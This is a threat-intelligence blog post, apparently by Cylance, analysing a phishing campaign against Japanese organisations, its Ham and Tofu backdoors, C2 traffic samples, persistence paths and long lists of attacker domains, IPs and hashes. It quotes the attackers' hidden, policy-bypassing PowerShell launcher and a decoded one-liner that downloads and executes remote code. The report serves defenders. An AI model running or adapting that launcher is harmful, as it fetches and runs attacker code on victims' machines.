The Deception Project: A New Japanese-Centric Threat

cylance.com/en_us/blog/the-deception-project-a-new-japanese-centric-threat.html

In an effort to expose a common problem we see happening in the industry, Cylance® would like to shed some light on just how easy it is to fake attribution. The key factor we should focus on, as an industry, is determining HOW an attacker can take down an organization, rather than focusing only on the WHO.

Once we can identify how the attack happened, we can focus on what’s really important – *prevention.*

Background

While investigating some of the smaller name servers that APT28/Sofacy routinely use to host their infrastructure, Cylance discovered another prolonged campaign that appeared to exclusively target Japanese companies and individuals that began around August 2016. The later registration style was eerily close to previously registered APT28 domains, however, the malware used in the attacks did not seem to line up at all. During the course of our investigation, JPCERT published this analysis of one of the group’s backdoors. Cylance tracks this threat group internally as ‘Snake Wine’.

We found the infrastructure to be significantly larger than documented at the link above. Cylance believes some of the steps taken by the attacker could possibly be an attempt at a larger disinformation campaign based upon some of the older infrastructure that would link it to a well-known CN-APT group. Nearly all of the initial data in this case was gathered from delving further into the domains hosted by ’It Itch.’ South Korea’s National Intelligence Service (NIS) previously leveraged It Itch’s services, as documented by Citizen Lab in this post. A number of the samples were signed using the leaked code-signing certificate from the Hacking Team breach.

Propagation and Targeting

To date, all observed attacks were the result of spear phishing attempts against the victim organizations. The latest batch used well-crafted LNK files contained within similarly named password-protected ZIP files. The LNK files, when opened, would execute a PowerShell command via ‘cmd.exe /c’ to download and execute an additional payload. The attackers appeared to prefer the Google URL shortening service ‘goog.gl,’ however, this could easily change as the attacks evolve.

```
powershell.exe -nop –w hidden -exec bypass -enc
“JAAyAD0AJwAtAG4AbwBwACAALQB3ACAAaABpAGQAZABlAG4AIAAtAGUAeABlAGMAIABiAHkAcABhAHMAcwAgAC0AYwAgACIASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQB
```

Figure 1: Encoded PowerShell Cmdlet Contained Within the LNK File

```
$2='-nop -w hidden -exec bypass -c "IEX (New-Object
System.Net.Webclient).DownloadString(''https://goo(dot)gl/cpT1NW'')"';if([IntPtr]::Size -eq 8){$3 =
$env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $3 $2";}else{iex "&
powershell $2";}
```

Figure 2: Decoded PowerShell Snippet

The shortened URL connected to 'hxxxp://koala (dot) acsocietyy (dot) com/acc/image/20170112001 (dot) jpg.' This file was in fact another piece of PowerShell code modified from ‘PowerSploit'. That file opens a decoy document and executes an approximately 60kb chunk of position independent shellcode. The shellcode upon further decoding and analysis is nearly identical to what Cylance calls ‘The Ham Backdoor’ below. This particular variant of the backdoor references itself internally as version ‘1.6.4’ and beaconed to ‘gavin (dot) ccfchrist (dot) com.’

The move to a shellcode-based backdoor was presumably done to decrease overall AV detection and enable deployment via a wider array of methods. A public report released here documented a similar case in which several universities were targeted by an email purporting to be from The Japanese Society for the Promotion of Science ‘jsps (dot) go (dot) jp’ regarding the need to renew grant funding. The website ‘koala (dot) asocietyy (dot) com’ was also used to host the following PowerShell payloads:

- ae0dd5df608f581bbc075a88c48eedeb7ac566ff750e0a1baa7718379941db86 20170112003.jpg
- 75ef6ea0265d2629c920a6a1c0d1dd91d3c0eda86445c7d67ebb9b30e35a2a9f 20170112002.jpg
- 723983883fc336cb575875e4e3ff0f19bcf05a2250a44fb7c2395e564ad35d48 20170112007.jpg
- 3d5e3648653d74e2274bb531d1724a03c2c9941fdf14b8881143f0e34fe50f03 20170112005.jpg
- 471b7edbd3b344d3e9f18fe61535de6077ea9fd8aa694221529a2ff86b06e856 20170112.jpg
- 4ff6a97d06e2e843755be8697f3324be36e1ebeb280bb45724962ce4b671029720170112001.jpg
- 9fbd69da93fbe0e8f57df3161db0b932d01b6593da86222fabef2be31899156d20170112006.jpg
- f45b183ef9404166173185b75f2f49f26b2e44b8b81c7caf6b1fc430f373b50b 20170112008.jpg
- 646f837a9a5efbbdde474411bb48977bff37abfefaa4d04f9fb2a05a23c6d543 20170112004.jpg

The payloads contained within each PowerShell script beaconed to the same domain name, with the exception of ‘20170112008.jpg’, which beaconed to ‘hamiltion (dot) catholicmmb (dot) com.’

Earlier attempts used EXE’s disguised with Microsoft Word document icons and DOCX files within a similarly named ZIP file as documented by JPCERT. Cylance has observed the following ZIP files which contained a similarly named executable:

- 平成29年日米安保戦略対話提言(未定稿).zip
- 2016県立大学シンポジウムA4＿1025.zip
- 日米関係重要事項一覧表.zip
- ロシア歴史協会の設立と「単一」国史教科書の作成.zip
- 日米拡大抑止協議.zip
- 個人番号の提供について.zip
- 11月新学而会.zip

Malware

The Ham Backdoor

The Ham Backdoor functions primarily as a modular platform, which provides the attacker with the ability to directly download additional modules and execute them in memory from the command and control (C2) server. The backdoor was programmed in C++ and compiled using Visual Studio 2015. The modules that Cylance has observed so far provided the ability to:

- Upload specific files to the C2
- Download a file to the infected machine
- Load and execute a DLL payload
- List running processes and services
- Execute a shell command

- Add an additional layer of AES encryption to the network protocol
- Search for a keyword in files

Legacy AV appears to have fairly good coverage for most of the samples; however, minor changes in newer samples have considerably lower detection rates. JPCERT calls this backdoor ‘ChChes’ for cross-reference. The malware employs a number of techniques for obfuscation, such as stack construction of variables and data, various XOR encodings and data reordering schemes, and some anti-analysis techniques. Perhaps the most interesting of these, and the one we’ve chosen to key on from a detection perspective, is the following bit of assembly which was the final component in decoding a large encoded block of code:

```
lea     edx, [esi+edi]
mov     edi, [ebp+var_4]
mov     cl, [ecx+edx]
xor     cl, [eax+edi]
inc     eax
mov     edi, [ebp+arg_8]
mov     [edx], cl
mov     ecx, [ebp+arg_0]
cmp     eax, ebx
```

This snippet in the analyzed samples used a fixed size XOR key usually 0x66 bytes long but would sequentially XOR every byte by each value of the key. This effectively results in a single byte XOR by the end of the operation. This operation made little sense in comparison to the other more complicated reordering and longer XOR encodings used prior to this mechanism. Cylance only found two variants to this code-block, however, that could be easily modified by the attacker in the future. The code also makes extensive use of the multi-byte NOP operation prefixed by 0x0F1F. These operations present somewhat of a problem for older disassemblers such as the original Ollydbg, but are trivially patched.

The network protocol of the backdoor is well described by JPCERT, but Cylance has taken the liberty to clean up their original python snippet, which was provided for decoding the cookie values:

```
import hashlib
from Crypto.Cipher import ARC4

def network_decode(cookie_data):
    data_list = cookie_data.split (';')
    dec = []
    for i in range(len(data_list)):
        tmp = data_list[i]
        pos = tmp.find("=")
        key = tmp[0:pos]
        val = tmp[pos:]
        md5 = hashlib.md5()
        md5.update(key)
        rc4key = md5.hexdigest()[8:24]
        rc4 = ARC4.new(rc4key)
        dec.append(rc4.decrypt(val.decode("base64"))[len(key):])
    print ("[*] decoded:" + "" .join (dec))
```

Figure 3: Cleaned Script Originally by JPCERT

As noted in the JPCERT report, Cylance also found that in most cases of successful infection, one of the earliest modules downloaded onto the system added an additional layer of AES communication to the traffic. The backdoor would also issue anomalous HTTP requests with the method ‘ST’ in the event that the C2 server did not respond appropriately to the initial request.

An example request is shown below:

```
ST /2C/H.htm HTTP/1.1
Cookie: uQ=[REDACTED];omWwFSA=hw4biTXvqd%2FhK2TIyoLYj1%2FShw6MhEGHlWurHsUyekeuunmop4kZ;Tgnfm5E=RPBaxi%2Bf4B2r6CTd9jh5u3AHOwuyVaJeuw%3D%3D
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET
CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)
Host: kawasaki.unhamj(dot)com
Content-Length: 0
Connection: Keep-Alive
Cache-Control: no-cache
```

Figure 4: Example Request Using the ‘ST’ Method

The majority of the Ham Backdoors found to date have all been signed using the stolen and leaked Hacking Team code-signing certificate.

‘HT Srl’ Certificate Details:

Status: Revoked
Issuer: VeriSign Class 3 Code Signing 2010 CA
Valid: 1:00 AM 8/5/2011 to 12:59 AM 8/5/2012
Thumbprint: B366DBE8B3E81915CA5C5170C65DCAD8348B11F0
Serial Number: 3F FC EB A8 3F E0 0F EF 97 F6 3C D9 2E 77 EB B9

Why the attackers chose to use this expired certificate to sign their malware samples is unknown. The malware itself bears little resemblance to previous hacking team implants and was likely done purely as an attempt to throw off attribution. The only observed persistence method to date is the use of the standard Windows Run key ‘SOFTWARE\Microsoft\Windows\CurrentVersion\Run’ under either a user’s hive or HKLM. Cylance found that the following three full file paths were commonly used by this particular backdoor:

- %AppData%\Reader.exe
- %AppData%\Notron.exe
- %AppData%\SCSI_Initiarot.exe

Cylance also identified an earlier sample, which took advantage of a self-extracting RAR and a side loading vulnerability in the legitimate Microsoft Resource Compiler, ‘RC.exe.’ RC.exe will load the DLL ‘RCDLL.dll’ via its import table. This modified DLL was responsible for XOR decoding and mapping the shellcode version of the Ham Backdoor. This particular sample was stored in a file called ‘RC.cfg’, which was encoded using a single byte XOR against the key of 0x54. It appears that this version was only used in early campaigns, as the latest referenced backdoor version Cylance identified was ‘v1.2.2.’

Tofu Backdoor

Based upon Cylance's observations, the Tofu Backdoor was deployed in far fewer instances than the Ham Backdoor. It is a proxy-aware, fully-featured backdoor programmed in C++ and compiled using Visual Studio 2015. The Tofu backdoor makes extensive use of threading to perform individual tasks within the code. It communicates with its C2 server through HTTP over nonstandard TCP ports, and will send encoded information containing basic system information back, including hostname, username, and operating system within the content of the POST.

```
POST /586E32A1FFFFFFFF.aspx HTTP/1.1
Accept: */*
Cookies: Sym1.0: 0
,Sym2.0: 0
,Sym3.0: 61456
,Sym4.0: 1
Host: area.wthelpdesk.com:443
Content-Length: 39
Connection: Keep-Alive
Cache-Control: no-cache
```

Figure 5: Example POST Request From the Tofu Backdoor

Although communication took place on TCP port 443, none of the traffic was encrypted and the custom cookies 'Sym1.0' – 'Sym4.0' can be used to easily identify the backdoor in network traffic. The backdoor has the ability to enumerate processor, memory, drive, and volume information, execute commands directly from the attacker, enumerate and remove files and folders, and upload and download files. Commands were sent by the C2 and processed by the backdoor in the form of encoded DWORDs, each correspondeding to a particular action listed above. Tofu may also create two different bi-directional named pipes on the system '\\.\pipe\1[12345678]' and '\\.\pipe\2[12345678]' which could be accessed via other compromised machines on the internal network.

During an active investigation, the file was found at '%AppData%\iSCSI_Initiarot.exe'. This path was confirmed as a static location in the code that the backdoor would use to copy itself. A static Run key was also used by the backdoor to establish persistence on the victim machine (HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft iSCSI Initiator).

All of the samples Cylance identified were compiled in November 2016, so these backdoors may have simply been tests as later samples moved back to the shellcode-based Ham Backdoors. The backdoors were also similarly signed using the same stolen code-signing certificate from 'HT Srl.'

C2 Infrastructure

Cylance found that at least half of the infrastructure associated with The Deception Project appeared to be dark or at least unused. This suggests that the Snake Wine group will likely continue to escalate their activity and persistently target both private and government entities within Japan.

Cylance also found an extensive network of Dynamic DNS (DDNS) domains registered via multiple free providers was likely being used by the same group. However, Cylance was unable to identify any current samples which communicated with this infrastructure, and have subsequently separated this activity from the rest of the attacker's infrastructure. Many of the DDNS domains were concocted to mimic legitimate windows update domains such as 'download.windowsupdate(dot)com', 'ipv4.windowsupdate(dot)com', and 'v4.windowsupdate(dot)com'.

Domain Registration Information:

8/19/16	wchildress(dot)com	abellonav.poulsen(at)yandex.com
8/19/16	poulsenv(dot)com	abellonav.poulsen(at)yandex.com
8/19/16	toshste(dot)com	toshsteffensen2(at)yandex.com
9/6/16	shenajou(dot)com	ShenaJouellette(at)india.com
9/6/16	ixrayeye(dot)com	BettyWBatts(at)india.com
9/12/16	wthelpdesk(dot)com	ArmandOValcala(at)india.com
9/12/16	bdoncloud(dot)com	GloriaRPaige(at)india.com
9/12/16	belowto(dot)com	RobertoRivera(at)india.com
11/3/16	incloud-go(dot)com	RufinaRWebb(at)india.com
11/3/16	unhamj(dot)com	JuanitaRDunham(at)india.com
11/3/16	cloud-maste(dot)com	MeganFDelgado(at)india.com
11/4/16	cloud-kingl(dot)com	ElisabethBGreen(at)india.com
11/4/16	incloud-obert(dot)com	RobertJButler(at)india.com
12/6/16	fftpoor(dot)com	SteveCBrown(at)india.com
12/6/16	ccfchrist(dot)com	WenonaTMcMurray(at)india.com
12/7/16	catholicmmb(dot)com	EmilyGLessard(at)india.com
12/7/16	usffunicef(dot)com	MarisaKParr(at)india.com
12/7/16	cwiinatonal(dot)com	RobertMKnight(at)india.com
12/7/16	tffghelth(dot)com	NathanABecker(at)india.com
12/7/16	acsocietyy(dot)com	PearlJBrown(at)india.com
12/8/16	tokyo-gojp(dot)com	VeraTPerkins(at)india.com
12/8/16	salvaiona(dot)com	DeborahAStutler(at)india.com
12/8/16	osaka-jpgo(dot)com	JudithAMartel(at)india.com
12/8/16	tyoto-go-jp(dot)com	AletaFNowak(at)india.com
12/8/16	fastmail2(dot)com	ClementBCarico(at)india.com
12/11/16	wcwname(dot)com	CynthiaRNickerson(at)india.com
12/12/16	dedgesuite(dot)net	KatherineKTaggart(at)india.com
12/12/16	wdsupdates(dot)com	GordonESlavin(at)india.com
12/12/16	nsatcdns(dot)com	SarahNBosch(at)india.com
12/13/16	vscue(dot)com	ChrisTDawkins(at)india.com
12/13/16	sindeali(dot)com	DonnaJMcCray(at)india.com
12/13/16	vmmini(dot)com	RaymondRKimbrell(at)india.com
12/20/16	u-tokyo-ac-jp(dot)com	LynnJOwens(at)india.com
12/21/16	meiji-ac-jp(dot)com	PearlJPoole(at)india.com
12/26/16	jica-go-jp(dot)bike	AliceCLopez(at)india.com
12/27/16	mofa-go-jp(dot)com	AngelaJBirkholz(at)india.com
12/27/16	jimin-jp(dot)biz	EsmeraldaTYates(at)india.com
12/27/16	jica-go-jp(dot)biz	RonaldSFreeman(at)india.com
2/9/17	jpcert(dot)org	GinaKPiller(at)india.com
2/14/2017	ijica(dot)in	DarrenMCrow(at)india.com

2/17/2017	chibashiri(dot)com	WitaTBiles(at)india.com
2/17/2017	essashi(dot)com	CarlosBPierson(at)india.com
2/17/2017	urearapetsu(dot)com	IvoryDStallcup(at)india.com

Full Domain List:

area.wthelpdesk(dot)com
cdn.incloud-go(dot)com
center.shenajou(dot)com
commissioner.shenajou(dot)com
development.shenajou(dot)com
dick.ccfchrist(dot)com
document.shenajou(dot)com
download.windowsupdate.dedgesuite(dot)net
edgar.ccfchrist(dot)com
ewe.toshste(dot)com
fabian.ccfchrist(dot)com
flea.poulsenv(dot)com
foal.wchildress(dot)com
fukuoka.cloud-maste(dot)com
gavin.ccfchrist(dot)com
glicense.shenajou(dot)com
hamiltion.catholicmmb(dot)com
hukuoka.cloud-maste(dot)com
images.tyoto-go-jp(dot)com
interpreter.shenajou(dot)com
james.tffghelth(dot)com
kawasaki.cloud-maste(dot)com
kawasaki.unhamj(dot)com
kennedy.tffghelth(dot)com
lennon.fftpoor(dot)com
license.shenajou(dot)com
lion.wchildress(dot)com
lizard.poulsenv(dot)com
malcolm.fftpoor(dot)com
ms.ecc.u-tokyo-ac-jp(dot)com
msn.incloud-go(dot)com
sakai.unhamj(dot)com
sappore.cloud-maste(dot)com
sapporo.cloud-maste(dot)com
scorpion.poulsenv(dot)com
shrimp.bdoncloud(dot)com
sindeali(dot)com
style.u-tokyo-ac-jp(dot)com
trout.belowto(dot)com
ukuoka.cloud-maste(dot)com
v4.windowsupdate.dedgesuite(dot)net
vmmini(dot)com
whale.toshste(dot)com
windowsupdate.dedgesuite(dot)net
windowsupdate.wcwname(dot)com
www.cloud-maste(dot)com
www.foal.wchildress(dot)com
www.fukuoka.cloud-maste(dot)com
www.incloud-go(dot)com
www.kawasaki.cloud-maste(dot)com
www.kawasaki.unhamj(dot)com
www.lion.wchildress(dot)com
www.msn.incloud-go(dot)com
www.sakai.unhamj(dot)com
www.sapporo.cloud-maste(dot)com
www.unhamj(dot)com
www.ut-portal-u-tokyo-ac-jp.tyoto-go-jp(dot)com
www.vmmini(dot)com
www.wchildress(dot)com
www.yahoo.incloud-go(dot)com
yahoo.incloud-go(dot)com
zebra.bdoncloud(dot)com
zebra.incloud-go(dot)com
zebra.wthelpdesk(dot)com

IP Addresses:

107.181.160.109
109.237.108.202
151.101.100.73
151.236.20.16
158.255.208.170
158.255.208.189
158.255.208.61
160.202.163.79

160.202.163.82
160.202.163.90
160.202.163.91
169.239.128.143
185.117.88.81
185.133.40.63
185.141.25.33
211.110.17.209
31.184.198.23
31.184.198.38
92.242.144.2

Anomalous IP Crossover

One of the most perplexing aspects of tracing the infrastructure associated with this particular campaign is that it appeared to lead to a significant number of well-known ‘MenuPass’/ ‘Stone Panda’ domains. MenuPass is a well-documented CN-APT group, whose roots go back to 2009. The group was first publicly disclosed by FireEye in this report. However, many of those domains were inactive for as long as two years and could have easily been re-registered by another entity looking to obfuscate attribution.

As a result, we’ve only included recent Dynamic DNS domains that were connected to recently registered infrastructure. A much larger collection of information is available to trusted and interested parties. Please contact us at: deceptionproject (at) Cylance [dot] com.

Dynamic DNS IPs:

37.235.52.18	2016-05-11
78.153.151.222	2016-05-13
175.126.148.111	2016-07-14
95.183.52.57	2016-07-26
109.237.108.202	2016-12-26
109.248.222.85	2016-12-27

Dynamic DNS Domains:

blaaaaaaaaaaaa.windowsupdate(dot)3-a.net
contract.4mydomain(dot)com
contractus.qpoe(dot)com
ctdl.windowsupdate.itsaol(dot)com
ctldl.microsoftupdate.qhigh(dot)com
ctldl.windowsupdate.authorizeddns(dot)org
ctldl.windowsupdate.authorizeddns(dot)us
ctldl.windowsupdate.dnset(dot)com
ctldl.windowsupdate.lflinkup(dot)com
ctldl.windowsupdate.x24hr(dot)com
download.windowsupdate.authorizeddns(dot)org
download.windowsupdate.dnset(dot)com
download.windowsupdate.itsaol(dot)com
download.windowsupdate.lflinkup(dot)com
download.windowsupdate.x24hr(dot)com
ea.onmypc(dot)info
eu.wha(dot)la
feed.jungleheart(dot)com
fire.mrface(dot)com
fuck.ikwb(dot)com
globalnews.wikaba(dot)com
helpus.ddns(dot)info
home.trickip(dot)org
imap.dnset(dot)com
ipv4.windowsupdate.3-a(dot)net
ipv4.windowsupdate.authorizeddns(dot)org
ipv4.windowsupdate.dnset(dot)com
ipv4.windowsupdate.fartit(dot)com
ipv4.windowsupdate.lflink(dot)com
ipv4.windowsupdate.lflinkup(dot)com
ipv4.windowsupdate.mylftv(dot)com
ipv4.windowsupdate.x24hr(dot)com
latestnews.organiccrap(dot)com
microsoftmirror.mrbasic(dot)com
microsoftmusic.itemdb(dot)com
microsoftstore.onmypc(dot)net
microsoftupdate.qhigh(dot)com
mobile.2waky(dot)com
mseupdate.ourhobby(dot)com
newsreport.justdied(dot)com
nmrx.mrbonus(dot)com
outlook.otzo(dot)com
referred.gr8domain(dot)biz
twx.mynumber(dot)org
v4.windowsupdate.authorizeddns(dot)org
v4.windowsupdate.dnset(dot)com
v4.windowsupdate.itsaol(dot)com
v4.windowsupdate.lflinkup(dot)com
v4.windowsupdate.x24hr(dot)com
visualstudio.authorizeddns(dot)net

windowsupdate.2waky(dot)com
windowsupdate.3-a(dot)net
windowsupdate.acmetoy(dot)com
windowsupdate.authorizeddns(dot)net
windowsupdate.authorizeddns(dot)org
windowsupdate.dns05(dot)com
windowsupdate.dnset(dot)com
windowsupdate.esmtp(dot)biz
windowsupdate.ezua(dot)com
windowsupdate.fartit(dot)com
windowsupdate.itsaol(dot)com
windowsupdate.lflink(dot)com
windowsupdate.mrface(dot)com
windowsupdate.mylftv(dot)com
windowsupdate.x24hr(dot)com
www.contractus.qpoe(dot)com
www.feed.jungleheart(dot)com
www.helpus.ddns(dot)info
www.latestnews.organiccrap(dot)com
www.microsoftmirror.mrbasic(dot)com
www.microsoftmusic.itemdb(dot)com
www.microsoftstore.onmypc(dot)net
www.mobile.2waky(dot)com
www.mseupdate.ourhobby(dot)com
www.nmrx.mrbonus(dot)com
www.twx.mynumber(dot)org
www.visualstudio.authorizeddns(dot)net
www.windowsupdate.acmetoy(dot)com
www.windowsupdate.authorizeddns(dot)net
www.windowsupdate.authorizeddns(dot)org
www.windowsupdate.dnset(dot)com
www.windowsupdate.itsaol(dot)com
www.windowsupdate.x24hr(dot)com
www2.qpoe(dot)com
www2.zyns(dot)com
www2.zzux(dot)com

Conclusion

The Snake Wine group has proven to be highly adaptable and has continued to adopt new tactics in order to establish footholds inside victim environments. The exclusive interest in Japanese government, education, and commerce will likely continue into the future as the group is just starting to build and utilize their existing current attack infrastructure.

If the past is an accurate indicator, attacks will continue to escalate in both skill and intensity as the attackers implement new tactics in response to defenders acting on previously released information.

Perhaps the most interesting aspect of the Snake Wine group is the number of techniques used to obscure attribution. Signing the malware with a stolen and subsequently publicly leaked code-signing certificate is sloppy even for well-known CN-APT groups. Also of particular interest from an attribution obfuscation perspective is direct IP crossover with previous Dynamic DNS domains associated with known CN-APT activity. A direct trail was established over a period of years that would lead competent researchers to finger CN operators as responsible for this new activity as well.

Although the MenuPass Group used mostly publicly available RATs, they were successful in penetrating a number of high value targets, so it is entirely possible this is indeed a continuation of past activity. However, Cylance does not believe this scenario to be probable, as a significant amount of time has elapsed between the activity sets. Also of particular interest was the use of a domain hosting company that accepts BTC and was previously heavily leveraged by the well-known Russian group APT28.

In any case, Cylance hopes to better equip defenders to detect and respond to active threats within their network and enable the broader security community to respond to similar threats. In terms of defending and responding to malware, attribution is rarely important. As new methodologies become more broadly detected, threat actors will continue to embrace alternate and new strategies to continue achieving their objectives.

Yara Rules

Yara rules for this campaign can be found on GitHub here: https://github.com/CylanceSPEAR/IOCs/blob/master/snake.wine.yar

If you use our endpoint protection product, CylancePROTECT®, you were already protected from this attack. If you don't have CylancePROTECT, contact us to learn how our AI based solution can predict and prevent unknown and emerging threats.